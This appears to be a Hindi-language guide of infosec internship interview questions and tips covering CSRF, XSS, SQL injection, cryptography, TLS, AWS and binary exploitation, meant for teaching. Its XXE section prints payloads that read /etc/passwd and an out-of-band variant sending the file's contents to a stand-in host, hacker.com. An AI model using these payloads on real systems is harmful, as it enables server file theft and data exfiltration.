साक्षात्कार युक्तियाँ (सूचना सुरक्षा)

यह पृष्ठ उन साक्षात्कारों का सारांश है जिनसे मैं गुज़रा हूँ, इसमें कई प्रकार की भूमिकाओं को शामिल किया गया, हालाँकि कई अस्वीकृतियाँ मिलीं, परंतु प्रत्येक साक्षात्कार से सीखा, रचनात्मक प्रतिक्रियाएँ एकत्र कीं और आगे बढ़ा। आशा है ये प्रश्न/ युक्तियाँ आपकी मदद कर सकें।

यह सामान्यतः निम्नलिखित भूमिकाओं को कवर करता है:

Cybersecurity Intern
Penetration Testing Intern/ Red Team
Web App/ Application Security Intern
Product Security Intern
Infrastructure Security Intern

त्वरित सुझाव:

अपने रिज़्यूमे की समीक्षा करें और उससे संबंधित प्रश्न पहले से स्वयं से पूछें
यदि आप किसी प्रश्न/अवधारणा से परिचित नहीं हैं, तो विषय के इर्द-गिर्द न घूमें, यह बताएँ कि काम करने का वातावरण मिलने पर आप उसे सीख सकते हैं
आप सब कुछ नहीं जान सकते; यदि आपने कुछ गलत उत्तर दिया है या स्पष्टीकरण की आवश्यकता है, तो उसे स्वीकार करने में विनम्र रहें
अपना परिचय देने के लिए पहले से अपनी एक संक्षिप्त जीवनी (bio) तैयार रखें
अपने अंतिम लक्ष्य के प्रति सुनिश्चित रहें, और यह भी कि infosec ही क्यों?
अंत में, साक्षात्कार के अंत में प्रतिक्रिया (feedback) अवश्य पूछें, क्यों, क्योंकि: यह infosec में आपके वर्तमान ज्ञान की कमियों को जानने और भरने में मदद करता है

मैंने नीचे उन सभी संभावित प्रश्नों को लिखने का प्रयास किया है जिनका सामना मैंने किया, और कुछ के उत्तर भी दिए हैं। बाकी के लिए आप उनके विशिष्ट उत्तर गूगल कर सकते हैं, और यदि आप गहराई में जाना चाहें। इसके अलावा, अंत में कुछ संदर्भ हैं, उन पर एक नज़र अवश्य डालें। वे वास्तव में सहायक थे।

आगे बढ़ते हुए और अपने नोट्स जाँचते हुए मैं और प्रश्न जोड़ना चाहूँगा, तथापि यदि आप [email protected] के माध्यम से संपर्क करके इस पर मुझे रचनात्मक प्रतिक्रिया दे सकें तो मैं सराहना करूँगा। यदि आपको कुछ ऐसा मिला है जो यहाँ शामिल नहीं है, तो कृपया बेझिझक साझा करें।

सामान्य प्रश्न

सुरक्षा त्रय (Security Triads):

CIA क्या है?

गोपनीयता (Confidentiality)
अखंडता (Integrity)
उपलब्धता (Availability)

AAA क्या है?

प्रमाणीकरण (Authentication)
प्राधिकरण (Authorization)
लेखांकन (Accounting)

Threat (खतरा), Vulnerability (भेद्यता), Exploits (शोषण) और Risk (जोखिम) के बीच अंतर तथा वे Assets (परिसंपत्तियों) से किस प्रकार संबंधित हैं

Threat (खतरा):
Threat वह है जिससे हम अपनी सुरक्षा करने का प्रयास कर रहे हैं
Vulerability (भेद्यता):
Vulnerability हमारे सुरक्षा प्रयासों में एक कमज़ोरी या अंतराल है
Exploit (शोषण):
एक क्षमता/प्रोग्राम (जो सॉफ़्टवेयर या सोशल इंजीनियरिंग कौशल हो सकता है) जो किसी vulnerability का लाभ उठाकर किसी asset पर हमला करने के लिए विकसित किया गया हो
Risk (जोखिम):
Risk, assets, threats और vulnerabilities का प्रतिच्छेदन (intersection) है
Asset (परिसंपत्ति):
Asset वह है जिसकी हम सुरक्षा करने का प्रयास कर रहे हैं

IAM क्या है और इसका उपयोग क्यों किया जाता है?
IAM (Identity Access Management) का उपयोग किसी संगठन के भीतर भूमिकाओं और जिम्मेदारियों को अलग करने के लिए किया जाता है। यह सुरक्षा का एक महत्वपूर्ण हिस्सा है। यह एक्सेस स्तर की सुरक्षा और विशेषाधिकारों (privileges) को बनाए रखने में सहायता करता है।

सामान्य रूप से सुरक्षा

नेटवर्क घुसपैठ हमले के चरण:

टोह लेना/ सूचना एकत्र करना (Reconnaissance/ Information Gathering)
आवश्यक पहुँच प्राप्त करना
पहुँच बनाए रखना
निशान छिपाना (लॉग हटाना, बैकडोर हटाना और सभी नियंत्रण छिपाना)

वेब एप्लिकेशन सुरक्षा

सामान्य प्रश्न:

OWASP Top 10
XSS (Cross-site Scripting) क्या है
- XSS का अभ्यास करें: [https://xss-game.appspot.com/]
- XSS से कैसे निपटें: संक्षेप में, उचित इनपुट सत्यापन (input validation) का उपयोग करें
- CSP (Content-Security-Policy) हेडर की जाँच करें
- XSS के विभिन्न प्रकार: Reflected, Stored और DOM-आधारित
- DOM में sources और sinks क्या हैं जो XSS का कारण बन सकते हैं:
  [https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/]
CSRF क्या है यह सबसे पसंदीदा प्रश्न है जिसे लगभग हर साक्षात्कारकर्ता पूछना पसंद करता है
त्वरित सुझाव: संक्षिप्त रहें, यदि पूछा जाए तभी पूरी बात समझाएँ

Cross-Site Request Forgery (CSRF) एक हमला है जो किसी अंतिम उपयोगकर्ता को उस वेब एप्लिकेशन पर अवांछित कार्य करने के लिए बाध्य करता है जिसमें वे वर्तमान में प्रमाणित (authenticated) हैं। CSRF हमले विशेष रूप से स्थिति-परिवर्तनकारी अनुरोधों (state-changing requests) को लक्षित करते हैं, डेटा की चोरी को नहीं, क्योंकि हमलावर के पास नकली अनुरोध के प्रत्युत्तर को देखने का कोई तरीका नहीं होता। सोशल इंजीनियरिंग की थोड़ी सी मदद से (जैसे ईमेल या चैट के माध्यम से लिंक भेजना), एक हमलावर वेब एप्लिकेशन के उपयोगकर्ताओं को धोखा देकर हमलावर द्वारा चुने गए कार्यों को करवा सकता है। यदि पीड़ित एक सामान्य उपयोगकर्ता है, तो एक सफल CSRF हमला उपयोगकर्ता को धन हस्तांतरण, ईमेल पता बदलना आदि जैसे स्थिति-परिवर्तनकारी अनुरोध करने के लिए बाध्य कर सकता है। यदि पीड़ित एक प्रशासनिक खाता है, तो CSRF पूरे वेब एप्लिकेशन से समझौता कर सकता है।
CSRF से कैसे निपटें:
Anti-CSRF टोकन का उपयोग करें
समान-मूल नीति (same-origin policy) का उपयोग करें
Referrer हेडर का उपयोग करें
HTML/ URL एन्कोडिंग क्या है
क्या HTTP प्रोटोकॉल स्टेटलेस (stateless) है?
HTTP स्वाभाविक रूप से स्टेटलेस प्रोटोकॉल है, हालाँकि सर्वर इसे स्टेटफुल बनाने के लिए कुकीज़ का उपयोग करता है
इंजेक्शन के प्रकार क्या हैं: SQL, Command, OS
SQL इंजेक्शन से कैसे निपटें
पैरामीटरयुक्त क्वेरी (parameterized queries) और संग्रहीत प्रक्रियाओं (stored procedures) का उपयोग करें

सुरक्षा प्रदान करने में सहायक हेडरों की जाँच करें (URL देखें और सामग्री पढ़ें, यह आपकी बुनियादी समझ बनाने में मदद करेगा):

CSP (Content-Security Policy) [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy]
[https://www.html5rocks.com/en/tutorials/security/content-security-policy/]
CORS (Cross-Origin Resource Sharing) [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS]
Same-Origin नीति [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy]

ऐसे दुर्लभ परिदृश्य होते हैं जब कोई साक्षात्कारकर्ता ये पूछता है; कुछ साक्षात्कारों के बाद के चरणों में मुझे निम्नलिखित मिले, सोचा उल्लेख कर दूँ:

XXE (XML External Entities) क्या है?
XML external entity injection (जिसे XXE भी कहा जाता है) एक वेब सुरक्षा भेद्यता है जो हमलावर को किसी एप्लिकेशन की XML डेटा प्रोसेसिंग में हस्तक्षेप करने की अनुमति देती है। यह अक्सर हमलावर को एप्लिकेशन सर्वर के फाइल सिस्टम पर फ़ाइलें देखने और उन किसी भी बैकएंड या बाहरी सिस्टम के साथ अंतःक्रिया करने की अनुमति देती है, जिन तक एप्लिकेशन स्वयं पहुँच सकता है।
इसे देखें [https://portswigger.net/web-security/xxe]
उदा.:
```
<?xml version="1.0" encoding="UTF-8"?>    
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>     
<stockCheck><productId>&xxe;</productId></stockCheck> 
```
कुछ स्थितियों में, हमलावर XXE हमले को बढ़ाकर अंतर्निहित सर्वर या अन्य बैकएंड अवसंरचना से समझौता कर सकता है, XXE भेद्यता का लाभ उठाकर सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) हमले कर सकता है।
Out-Of-Band - XML entities का उपयोग करके सर्वर से डेटा निकालकर hacker.com पर भेजा जा सकता है (कोई सर्वर आउटपुट आवश्यक नहीं)

इंजेक्ट करने हेतु: document.xml

<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
    %remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity

बाहरी होस्ट: http://hacker.com/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
                    --- OR ---
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>"> - consider error-based

संदर्भ: [https://phonexicum.github.io/infosec/xxe.html]

SSRF (Server Side Request forgery) हमला क्या है इसका उपयोग आंतरिक नेटवर्क में पिवोट (pivot) करने के लिए किया जा सकता है
3-टियर वेब आर्किटेक्चर को कैसे सुरक्षित करें
Kerberos क्या है https://www.varonis.com/blog/kerberos-authentication-explained/
Secret Management और Vaults क्या हैं https://www.hashicorp.com/resources/introduction-vault-whiteboard-armon-dadgar

नेटवर्क सुरक्षा

सिमेट्रिक (Symmetric) और एसिमेट्रिक (Asymmetric) क्रिप्टोग्राफी के बीच अंतर
पब्लिक की क्रिप्टोग्राफी (Public key cryptography) और एसिमेट्रिक की क्रिप्टोग्राफी (Asymmetric key cryptography) के बीच अंतर: दोनों समान हैं ट्रिकी प्रश्न
क्रिप्टोग्राफी में मोड (जैसे EBC, CBC, आदि)
Perfect Forward Secrecy क्या है
[https://scotthelme.co.uk/perfect-forward-secrecy/] सीधे शब्दों में, PFS का मुख्य कार्य यह सुनिश्चित करना है कि यदि किसी सर्वर की निजी कुंजी (private key) से समझौता हो जाए, तो हमलावर पिछले किसी भी TLS संचार को डिक्रिप्ट नहीं कर पाएगा। Perfect Forward Secrecy, Diffie-Hellman ephemeral key exchange का उपयोग करके संभव है, जो प्रत्येक सत्र के लिए नई कुंजियाँ प्रदान करता है और जब तक सत्र सक्रिय रहता है तब तक वैध रहता है।
साइफर सूट की जानकारी:
उदा.: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
https://scotthelme.co.uk/https-cheat-sheet/
डेटा कम्प्रेशन और एन्क्रिप्शन के दौरान पहले क्या होता है: कम्प्रेशन या एन्क्रिप्शन
कम्प्रेशन पहले होता है, क्योंकि डेटा में यादृच्छिकता की एन्ट्रॉपी (फैलाव) कम होती है, इसलिए अधिक कम्प्रेशन प्राप्त किया जा सकता है; अतः पहले कम्प्रेस करना और फिर एन्क्रिप्ट करना लाभप्रद है।
एन्क्रिप्शन (Encryption), एन्कोडिंग (Encoding), हैशिंग (Hashing) और ऑबफस्केशन (Obfuscation) के बीच अंतर
https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/
Rainbow-table क्या है: संक्षेप में, यह पूर्व-गणना किए गए हैश (precomputed hashes) का संग्रह है
TLS कैसे काम करता है?
यह एक अद्भुत छवि है जो मुझे संयोग से मिली, इसने मुझे सरल भाषा में TLS समझने में मदद की
http://i.imgur.com/5T2fJsG.png
Certificate Signing क्या है
Traceroute कैसे काम करता है
Nmap कैसे काम करता है
Certification Authority (CA) क्या है
DMZ क्या है और इसमें शामिल घटक कौन से हैं
ping किस पोर्ट पर काम करता है?
एक ट्रिकी प्रश्न, निश्चित रूप से, परंतु एक महत्वपूर्ण प्रश्न।
संकेत: ICMP एक लेयर 3 प्रोटोकॉल है (यह किसी पोर्ट पर काम नहीं करता) इस प्रश्न का एक अच्छा रूपांतर यह पूछना है कि ping TCP या UDP का उपयोग करता है। दोनों में से कोई भी उत्तर गलत है, क्योंकि वे लेयर 4 प्रोटोकॉल हैं।

क्लाउड सुरक्षा

सामान्यतः AWS के संदर्भ में बात करूँगा, हालाँकि Azure, GCP, Digital Ocean आदि जैसे अन्य क्लाउड प्रदाता भी हैं।

AWS के सामान्य घटक:
S3, EC2, Buckets, IAM, Cloud trial, Cloud watch
IAM क्या है और इसके घटक: संक्षेप में, IAM का उपयोग Access Management के लिए किया जाता है, जहाँ यह अपने कामकाज हेतु Roles (अस्थायी पहुँच के लिए), Policies, Groups और Users का उपयोग करता है।
EC2 क्या है: यह Virtual Machine तैयार करने के लिए एक Elastic instance है।
क्या EC2 में एन्क्रिप्शन है: हाँ, है। Amazon EBS एन्क्रिप्शन आपके EBS वॉल्यूम के लिए एक सरल एन्क्रिप्शन समाधान प्रदान करता है, बिना अपनी स्वयं की कुंजी प्रबंधन अवसंरचना बनाने, बनाए रखने और सुरक्षित करने की आवश्यकता के। Amazon EBS एन्क्रिप्शन, एन्क्रिप्टेड वॉल्यूम और उनसे बनाए गए किसी भी स्नैपशॉट को बनाते समय AWS Key Management Service (AWS KMS) कस्टमर मास्टर कुंजियों (CMKs) का उपयोग करता है। अधिक जानकारी ... नीचे मिल सकती है https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html

बाइनरी एक्सप्लॉइटेशन

किसी बाइनरी को डीबग करने के लिए उपयोग किए जा सकने वाले उपकरण:
Linux: gdb, radare, clutter (GUI for radare)
Windows: IDA, Binary Ninja
Buffer Overflow क्या है
Format String Vulnerability क्या है
Stack और Heap क्षेत्र के बीच अंतर (Code, Text और Bss क्षेत्रों पर भी विचार करना उचित होगा)
Stack Cookies क्या हैं
ASLR क्या है और इसका उपयोग क्यों किया जाता है?
नॉन-एक्ज़ीक्यूटेबल मेमोरी (non-executable memory) क्या है?

संदर्भ

सीखने के संसाधन:
https://regexone.com/ (Regular Expressions अनिवार्य हैं!)
https://portswigger.net/web-security/
OWASP Top 10:
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
इन्फोसेक साक्षात्कार प्रश्न:
https://danielmiessler.com/study/infosec_interview_questions
शीर्ष पेंटेस्ट प्रश्न:
https://resources.infosecinstitute.com/top-30-penetration-tester-pentester-interview-questions-and-answers-for-2019/#gref
पायथन युक्तियाँ:
https://www.codementor.io/sheena/essential-python-interview-questions-du107ozr6
AWS उपयोगकर्ता मार्गदर्शिका:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html
SMB और Samba की जानकारी: https://fitzcarraldoblog.wordpress.com/2016/10/17/a-correct-method-of-configuring-samba-for-browsing-smb-shares-in-a-home-network/

Interview_Tips

सबसे लोकप्रिय